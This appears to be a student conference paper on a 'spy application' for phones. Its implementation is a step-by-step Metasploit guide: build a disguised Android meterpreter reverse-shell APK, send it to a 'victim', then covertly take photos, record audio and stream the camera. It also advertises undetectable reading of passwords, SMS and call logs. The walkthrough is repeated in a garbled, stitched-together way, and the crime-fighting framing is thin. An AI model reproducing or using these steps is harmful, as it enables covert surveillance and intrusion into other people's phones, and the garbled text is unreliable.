Tracking Mobile Data Using Spy Application

*M.SRUJANA   **S.THARUN

* M.Tech Dept Of CSE, Vaagdevi Engineering College

**Asst. Prof Dept Of CSE, Vaagdevi Engineering College

Abstract

Spy application is the most powerful and undetectable application. It work in different devices like Android, BlackBerry, iPhone, symbian. Through spy application have different tracking features, remotely adjust settings and also remotely uninstall the application. Through these tracking features we can trace stolen mobiles and observe criminal activities. These application will run in the background even if the device is locked. And spy features helpful in determining truth about crime and relations. And also these features can save persons from getting into trouble. Spy application is helpful for find out the information regarding any crime. And also trace the person who and where the mobile is using. Spy application help us to find out stollen mobile and missing persons. Not require victim actions to change settings and uninstall the application. Faster than other applications and easy to implement.

EXISTING SYSTEM:-

GPS tracking system is GPS enabled android mobile phone whose location is tracked. Our application provides the functionality of defining the geo-fence areas as safe, risky and highly risky. 138Various GPS-based tracking systems have been successfully deployed and utilized in various applications such as fleet and vehicle location identification, and in route guidance. Recently, systems that integrate GPS and GSM technologies with Google earth to provide real-time data have also been proposed. However, for indoors and closed environments GPS systems fall short and it becomes difficult to acquire the necessary satellites for accurate position computation. Some of the alternate techniques that are proposed for indoor location tracking include the integration of

Bluetooth technology with 3G networks. The proposed solution suggests that Bluetooth terminals can exchange information with each other and then a Bluetooth access point provides the interface to a mobile network.

IMPLEMENTATION

Step1) Open Terminal and type:

```
ipconfig
```

to check your ip address. Here my ip is 192.168.43.203 , which is also the attackers(my) ip address

Step 2) Now i will be creating a dummy android app that i will sent to the victim. For that just type :

```
1 msfpayload  android/meterpreter/reverse_tcp
2
3 LHOST=attacker_ip_address  LPORT=port_to_receive_connection  R > Appname.apk
```

Attacker_ip_address= your ip address that you found out using ipconfig
port_to_receive_connection= 81

Step 3) Now while waiting open up new terminal and type

```
1 msfconsole
```

to run the metasploit.

Step 4) Now type

```
1 use multi/handler
```

Step 5) Now you have to type:

1	set payload android/meterpreter/reverse_tcp

and then type

1	set LHOST <Attacker_ip_address>

and then

1	set LPORT=81

Step 6) Now send the dummy app to the victim..upload it to net or try any other method.

Step 7) Once the victim install the application and runs it ,you will start seeing a session.

Step 8) That's it we are in the victims android phone and can whatever we want.Just type help inorder to get the list of commands.

Step 9) Take photos using the devices cameras

First list all the webcams that are available:

> meterpreter > webcam_list

    1: Back Camera

    2: Front Camera

You can now run the webcam_snap command, by default it takes a photo using the first camera:

> meterpreter > webcam_snap

[*] Starting…

[+] Got frame

[*] Stopped

Webcam shot saved to: /root/liRDOzXS.jpeg

If you want to take a photo using the second camera

> meterpreter > webcam_snap –I 2

[*] Starting…

[+] Got frame

[*] Stopped

Webcam shot saved to: /root/oFsDkLjd.jpeg

The command output will usually tell you what the file has been saved as

Step10) Record sound with the microphone

Run the record_mic command:

    meterpreter > record_mic 5

[*] Starting…

[*] Stopped

Audio saved to: /root/JxltdUyn.wav

I didn't have much luck with this one it seemed to produce files that were not playable, but that could be something to do with the PC I was using.

Step 11) Viewing a video stream from the devices camera

Run the following command to stream from the second camera:

    meterpreter > webcam_stream –I 2

[*] Starting…

[*] Preparing player…

[*] Opening player at: LCInGfYj.html

[*] Streaming…

and then type

```
set LHOST <Attacker_ip_addre
```

1 set LHOST <Attacker_ip_address>

and then

```
set LPORT=81
```

1 set LPORT=81

Step 6) Now send the dummy app to the victim..upload it to net or try any other method.

Step 7) Once the victim install the application and runs it ,you will start seeing a session.

Step 8) That's it we are in the victims android phone and can whatever we want.Just type help inorder to get the list of commands.

Step 9) Take photos using the devices cameras

First list all the webcams that are available:

meterpreter > webcam_list

1: Back Camera

2: Front Camera

You can now run the webcam_snap command, by default it takes a photo using the first camera:

meterpreter > webcam_snap

[*] Starting…

[+] Got frame

[*] Stopped

Webcam shot saved to: /root/liRDOzXS.jpeg

Here's an example snap of the ceiling using Metasploit

If you want to take a photo using the second camera

meterpreter > webcam_snap –I 2

[*] Starting…

[+] Got frame

[*] Stopped

Webcam shot saved to: /root/oFsDkLjd.jpeg

The command output will usually tell you what the file has been saved as

Step10) Record sound with the microphone

Run the record_mic command:

meterpreter > record_mic 5

[*] Starting…

[*] Stopped

Audio saved to: /root/JxltdUyn.wav

I didn't have much luck with this one it seemed to produce files that were not playable, but that could be something to do with the PC I was using.

Step 11) Viewing a video stream from the devices camera

Run the following command to stream from the second camera:

meterpreter > webcam_stream –I 2

[*] Starting…

[*] Preparing player…

[*] Opening player at: LCInGfYj.html

[*] Streaming…

Applications

- ☐ Read the passcodes & passwords contained in any Android, iPhone or iPad, so you can access their services directly.
- ☐ Read the contents of all incoming and outgoing SMS messages.
- ☐ See Address Book and See Call HistoryView call history and get the name of the contact from the address book. The time, duration and number.
- ☐ View call history and get the name of the contact from the address book. The time, duration and number.Web History
- ☐ Get notification when user change sim card.
- ☐ Remote Control on settings of mobile.
- ☐ Undetectable aplication.
- ☐ Remote Uninstall also available.
- ☐ SPY application can get new updates from the server remotely.

CONCLUSION

These application will run in the background even if the device is locked. And spy features helpful in determining truth about crime and relations. And also these features can save persons from getting into

trouble.single application which have different features of individual applications. Spy application is helpful for find out the information regarding any crime. And also trace the person who and where the mobile is using. Spy application help us to find out stollen mobile and missing persons. Not require victim actions to change settings and uninstall the application.

References:-

https://cyberarms.wordpress.com/2014/02/19/getting-a-remote-shell-on-an-android-device-usin

https://cyberarms.wordpress.com/2014/02/19/getting-a-remote-shell-on-an-android-device-using-metasploit/

http://disects.com/whitepapers/Hacking_Android_devices_using_Metasploit_backdoors.pdf

http://resources.infosecinstitute.com/android-hacking-security-part-7-attacks-android-webviews/

http://securityaffairs.co/wordpress/22377/hacking/released-metasploit-module-hack-70-android-devices.html

AUTHOR 1:-

* M.SRUJANA completed her B tech in Vaagdevi Engineering College in 2014
and completed M-Tech in Vaagdevi Engineering College in 2016

AUTHOR 2:-

**S.THARUN is working as Assistant. professor in Dept of CSE Vaagdevi Engineering College